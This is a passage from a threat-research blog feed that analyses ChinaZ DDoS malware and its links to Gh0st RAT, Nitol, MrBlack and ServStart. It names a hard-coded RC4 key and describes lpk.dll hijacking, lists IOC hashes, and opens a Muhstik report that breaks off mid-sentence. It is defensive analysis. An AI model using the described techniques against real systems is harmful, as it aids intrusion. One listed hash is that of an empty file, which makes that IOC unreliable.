&lt;h3&gt;Gh0st RAT Clients&lt;span class="hx:absolute hx:-mt-20" id="gh0st-rat-clients"&gt;&lt;/span&gt;
&lt;a href="#gh0st-rat-clients" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Gh0st RAT clients we discovered among several HFS servers all appear to be
modified instances of Gh0st RAT that share notable characteristics. These Gh0st
RAT variants are found hosted in different HFS servers with the names BX.exe or
shadow.exe.&lt;/p&gt;
&lt;p&gt;We can observe similarities in different functions from the open-source version
hosted in &lt;a href="https://github.com/sincoder/gh0st"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. The following is a brief
comparison of both files&amp;rsquo; WinMain function:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Regarding this Gh0st RAT variant, if we take a closer look we observe that it
has similarities with the Gh0st RAT instance deployed on Operation
&lt;a href="https://download.bitdefender.com/resources/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf"target="_blank" rel="noopener"&gt;PZCHAO&lt;/a&gt;
by Iron Tiger APT, an APT group with also alleged Chinese origin. The RC4 key
used to decrypt the CNC is the same as the one used in the PZCHAO campaign,
&amp;ldquo;Mother360&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Based on a Bitdefender blog post about operation PZCHAO, this same
cryptographic key was not only used to decode the malware&amp;rsquo;s CNC addresses but
also was the key used to decrypt traffic between the client and the CNC.&lt;/p&gt;
&lt;p&gt;We also see code similarities from both Gh0st RAT variants apart from the used
RC4 function. The following code similarity comparisons are portions of the
main function:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Although these two Gh0st RATs may share common code, it is important to
understand how to interpret these similarities. ChinaZ has been known to employ
DDoS botnets in its campaigns as previously mentioned. Usually APT groups do
not rely on DDoS attacks. These similarities may not necessarily correlate
ChinaZ and Iron Tiger APT, but instead it may be evidence of the existence of a
common Gh0st RAT variant shared within the Chinese community, by having the
possibility to have ‘Mother360’ as one of the default hard-coded keys. The
reason for this interpretation is based on the fact that APT groups are rarely
involved with DDoS operations since the mere thought of correlating these two
models does not seem practical and the probability unlikely.&lt;/p&gt;
&lt;h3&gt;Infected Compressed Files with Nitol Artifacts&lt;span class="hx:absolute hx:-mt-20" id="infected-compressed-files-with-nitol-artifacts"&gt;&lt;/span&gt;
&lt;a href="#infected-compressed-files-with-nitol-artifacts" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Among some of the HFS panels found, we observed that some of the panels were
hosting DDoS tools.&lt;/p&gt;
&lt;p&gt;Inside these compressed files we can see that they contain varying components.
However, among all of the files found in these compressed files, the most
notable file was a DLL labelled as lpk.dll that appeared in every hosted
compressed archive that we found. This DLL has been known to be hijacked in the
past by &lt;a href="http://www.edison-newworld.com/2017/07/analysis-of-nitol.html"target="_blank" rel="noopener"&gt;Nitol&lt;/a&gt;,
a Chinese DDoS botnet targeting Windows systems that propagated infected
trusted software by exploiting the Windows Module Loading process. This was
achieved by placing a malicious lpk.dll within the file system meant to take
precedence against the genuine lpk.dll on load-time since this DLL is known to
be loaded in every process by being a component of Microsoft Language Pack.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig22.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can confirm this lpk.dll instance is the Nitol DLL from code reuse:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig23.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This finding may lead to different interpretations. One may directly link Nitol
to ChinaZ and argue that they are hosting infected compressed archives as a way
to spread and compromise systems. However, it is known that the Nitol botnet
was seized
&lt;a href="https://www.theregister.co.uk/2012/09/13/botnet_takedown/"target="_blank" rel="noopener"&gt;by Microsoft&lt;/a&gt; in
2012, although there are reports that document
&lt;a href="https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique"target="_blank" rel="noopener"&gt;Nitol activity&lt;/a&gt;
from 2016 onwards.&lt;/p&gt;
&lt;p&gt;Therefore, we can interpret this finding from a different standpoint, and raise
the possibility that actors behind this botnet are operating on infected
physical Windows systems, and consequently deploying malware infected with
previous malware belonging to older campaigns, therefore indirectly linking
Nitol and ChinaZ.&lt;/p&gt;
&lt;p&gt;In addition, as a fact supporting this theory was that after analysis, this
specific DLL failed to connect to its correspondent CNC, but at some point in
the infection chain a parite file infector was also dropped from both, the
Nitol DLL implants as well as from the hosted windows Gh0st RATs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig24.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It is known that in 2010 there was a strong infection wave of Chinese servers
that are still operative deploying infected malware. This may be why we can
find parite drops from files hosted in these servers:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/benkow_/status/961713159630393346"target="_blank" rel="noopener"&gt;https://twitter.com/benkow_/status/961713159630393346&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It should be noted how minimal effort is shown from the actors to maintain a
clean development environment for their newer malware campaigns, if the theory
explained above is indeed true.&lt;/p&gt;
&lt;h3&gt;Further Connections between ChinaZ and Nitol&lt;span class="hx:absolute hx:-mt-20" id="further-connections-between-chinaz-and-nitol"&gt;&lt;/span&gt;
&lt;a href="#further-connections-between-chinaz-and-nitol" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://www.incapsula.com/blog/ddos-botnet-soho-router.html"target="_blank" rel="noopener"&gt;MrBlack&lt;/a&gt; is an
IoT botnet also known to have Windows
&lt;a href="http://blog.malwaremustdie.org/2016/01/mmd-0048-2016-ddostf-new-elf-windows.html"target="_blank" rel="noopener"&gt;variants&lt;/a&gt;.
As documented by MalwareMustDie, MrBlack is the simplified version of
&lt;a href="http://blog.malwaremustdie.org/2014/09/reversing-arm-architecture-elf-elknot.html"target="_blank" rel="noopener"&gt;AES.DDoS&lt;/a&gt;,
an ELF DDoS tool with Chinese origin that was on circulation before ChinaZ was
ever established. Therefore, there are not direct correlations between MrBlack
and ChinaZ.&lt;/p&gt;
&lt;p&gt;However, we spotted MrBlack samples being hosted along with known ChinaZ
malware. In addition, if we analyze the results on string reuse of MrBlack
samples, often we can see a high volume of strings reused from ChinaZ malware.&lt;/p&gt;
&lt;p&gt;Below is a code reuse analysis of the different files found in the following
HFS server:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig25.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is the code reuse analysis of one of the hosted linux files, both
of them being ChinaZ.DdosClient:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig26.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is a code reuse analysis of the hosted windows binary
demonstrating that the file is a Win32/MrBlack instance:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig27.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can see that this instance of MrBlack shares 10 genes with ServStart, a
trojan associated with the Nitol family. After analysis of these 10 genes we
observed that this instance of MrBlack shares the exact SYN flood function as
in the ServStart instance.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig28.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can observe that there are slight variations present throughout the code.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig29.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Most of the function is identical, specifically the main flood loop:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig30.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;To reinforce this connection between MrBlack and ServStart, we discovered the
following panel:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig31.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In this panel we found two instances of Linux/MrBlack along with seven
instances of a variant of ServStart. We have identified the MrBlack instances
based on code reuse:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig32.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig33.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Regarding the ServStart variants, we can see that they share a substantial
amount of code with respect to previous ServStart variants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig34.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It is important to note that these newer ServStart variants have a recent
compilation time stamp, and it was only submitted to VirusTotal one week ago
from today:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig35.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We found several nearly identical functions reused from previous variants of
ServStart. The following is an example of one of these common functions.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig36.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Within the common code we found exact code fragments like the one below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig37.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;On the other hand, we found common code, although there are noticeable
differences between the new and old ServStart versions. An example of this is
shown in the screenshot below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig38.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The relationships described above validate the previous linkage between Nitol
and ChinaZ, which could insinuate that these two threat actor groups may be
related or may have collaborated together. So far we have gathered the
following links between them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;These two groups share the same goals in their campaigns with an emphasis on
the deployment of DDoS botnets.&lt;/li&gt;
&lt;li&gt;Both groups have alleged Chinese origins.&lt;/li&gt;
&lt;li&gt;A range of ChinaZ’s Windows clients have been infected by old Nitol
artifacts.&lt;/li&gt;
&lt;li&gt;These two families share relevant code with one another such as DDoS flood
implementations.&lt;/li&gt;
&lt;li&gt;New ServStart variants have been spotted being hosted alongside with MrBlack
Linux instances.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have covered how we have tracked ChinaZ and collected some up to date
information about this threat actor group. We have found potential connections
that could relate various Chinese actors in the current DDoS landscape.&lt;/p&gt;
&lt;p&gt;ChinaZ is hosting instances of Linux and Windows builds of MrBlack, and Windows
versions have shown code reuse connections with old ServStart variants.
Furthermore, we have spotted newer versions of ServStart being hosted along
with MrBlack Linux instances. Therefore there may be a relationship between
MrBlack and ServStart actors, indicating a potential relationship between
ChinaZ and Nitol families.&lt;/p&gt;
&lt;p&gt;In addition, ChinaZ Windows components have been seen infected with Nitol
components, suggesting that these actors may have been operating in servers
already infected with Nitol. This enforces the hypothesis that there may be
deeper relationships between these two threat groups. ChinaZ has always been a
relatively active threat actor group that is slowly evolving in sophistication
even though it is not making many changes to its overall infrastructure from
early stages. To reflect the most relevant relationships discussed in this blog
we have decided to present them with the following diagram:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/01/chinaz-relations/images/fig39.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;ChinaZ Gh0st RAT variant with ‘Mother360’ key:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;a9c54bdba780bcdc34f15b62f0ac1da8bcf4d65b4587d0d95bd2a9b5be5dfee6
908d817f81f9276f5afad1a33a7e2de7566fd5c967ad95782a4d904ca0e5efdd
9e24ba7304ae7c4f153fa8e97d2e6779d0e4377cee270b83d20d91afef7fe6f4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Iron Tiger APT gh0st RAT:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;d4262bbfe779d18b83b950bb993d3d46154bf1da5a4868ff6fa3e54c167eed71&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;BillGates:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;92c191c41bcc701de5d633a0edb8cab6085ea13ede079651a2cc4a4ae54b29bb
6fd7aab3faabd5f071d1bc9bb039146c01acf67d941c24e99813b1375114e908&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Infected ChinaZ DDoS tools with Nitol:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;b883b32264bcafd0c5ede5ff7399388feb51dbdf183f7ad52024c08cd221d574
23c69edc4695f6c2184484682757f024f0e20573dba599030fde1cdaeae9915c&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;ChinaZ.DDoSClient:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;80952e211eb98773909f0f3e7ce783ce2f410327058a4760efad2ff0dbebcb88
d97ffba4169df8b206f6fc588ba594e84539b321fae9247723d6b42940116fa5
a8d0928098cc43e7b9e8ba3b03507d342489dea832816dfc083c356b346f8a3d
7495be154047e2c3c3b9735d61c6f1256eea776eb536e42f2ea76d5c11fc7f84&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Win32/MrBlack:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;d793e629df1b73b054f763106fcfedaaafadd8a0919192fc7d1925752a1d64fe&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Linux/MrBlack:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;f025b6d531e7dcba68a309636f622fbe8ee212d457c9cc00e7bf339dca65fec2
fb69075f4383f3537af46d2098b3bcdcb7c1bdd6896c580cd9ead6f56fb5219c&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;ServStart:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;4f4f24f0333ed6e8883971129f216fab608b6e4d0c97c58a2b3b6a1106c77bf7
7db53e95a1339d4d023d61087907a5b07bf6720a2dd88b12882a2c5c201a92ea
7e6a2448e06a1d97ff317a5dc4ed969cef077a3568fd214cbe61854b7ff1a6d1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;New ServStart:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;774af1499fa1558d0b31272b84b4fbbfcc6fea578898325610524aa3853b669d
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
d104daec5e990de0233efdde8747a1d829c90b7b9a2169a7bcf5744fa1d95e6e&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Muhstik Botnet Reloaded: New Variants Targeting phpMyAdmin Servers</title><link>https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/</link><pubDate>Mon, 12 Nov 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/</guid><description>
&lt;p&gt;&lt;em&gt;The Muhstik botnet was first exposed by
&lt;a href="https://blog.netlab.360.com/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en/"target="_blank" rel="noopener"&gt;Netlab360&lt;/a&gt;
researchers in May 2018. This botnet targeted mainly GPON routers. At Intezer
we found that Muhstik is extending its spectrum of compromised devices by
targeting web servers hosting phpMyAdmin.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.phpmyadmin.net/"target="_blank" rel="noopener"&gt;PhpMyAdmin&lt;/a&gt; is a well known open-source tool
written in PHP, intended to handle the administration of MySQL over the web.
This tool is fairly popular among web developers due to the convenience of
operating a database via a web browser. On the other hand, the use of these
type of tools leads the front-end of a server to be publicly exposed, and in
particular to phpMyAdmin, with a lack of protection against brute-forcing
attempts.&lt;/p&gt;
&lt;p&gt;This blog will cover how the Muhstik malware has been using phpMyAdmin scanners
in its newer variants in order to extend the spectrum of its vulnerable devices
discovery and acquisition.&lt;/p&gt;
&lt;p&gt;Another recent IoT malware campaign that targeted phpMyAdmin servers was
&lt;a href="https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/"target="_blank" rel="noopener"&gt;Operation Prowli&lt;/a&gt;,
however, it is not very common to see these type of botnets targeting web
servers.&lt;/p&gt;
&lt;p&gt;We will also disclose the relationship between Muhstik’s phpMyAdmin Scanner and
an open-source TCP port scanner tool called Pnscan, since we believe that the
threat actors behind Muhstik borrowed and modified code from this project.&lt;/p&gt;
&lt;h2&gt;Hunting New Mushtik Variants&lt;span class="hx:absolute hx:-mt-20" id="hunting-new-mushtik-variants"&gt;&lt;/span&gt;
&lt;a href="#hunting-new-mushtik-variants" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After the analysis of various known &lt;em&gt;Muhstik&lt;/em&gt; samples, we observed that some
lower detected samples exposed what seem to be new features added to the
botnet. One of these examples is the following MIPS sample:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;d0d8f3c3e530a75768784c44772b2a71c5b3462d68a3217fee1f6767686cea4e&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The following is the known Muhstik’s implant download method from Netlab360
report:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig1.png" title="Muhstik GPON exploit deployment" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstik GPON exploit deployment&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;When analyzing the strings we notice that there are some uncommon &lt;em&gt;Muhstik&lt;/em&gt;
strings along with the known Muhstik payloads.&lt;/p&gt;
&lt;p&gt;Known and unknown strings from the known &lt;em&gt;Muhstik&lt;/em&gt; variant:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig2.png" title="String reuse from Intezer Analyze™" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;String reuse from Intezer Analyze™&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After analyzing the code, we concluded that the new functionality was a
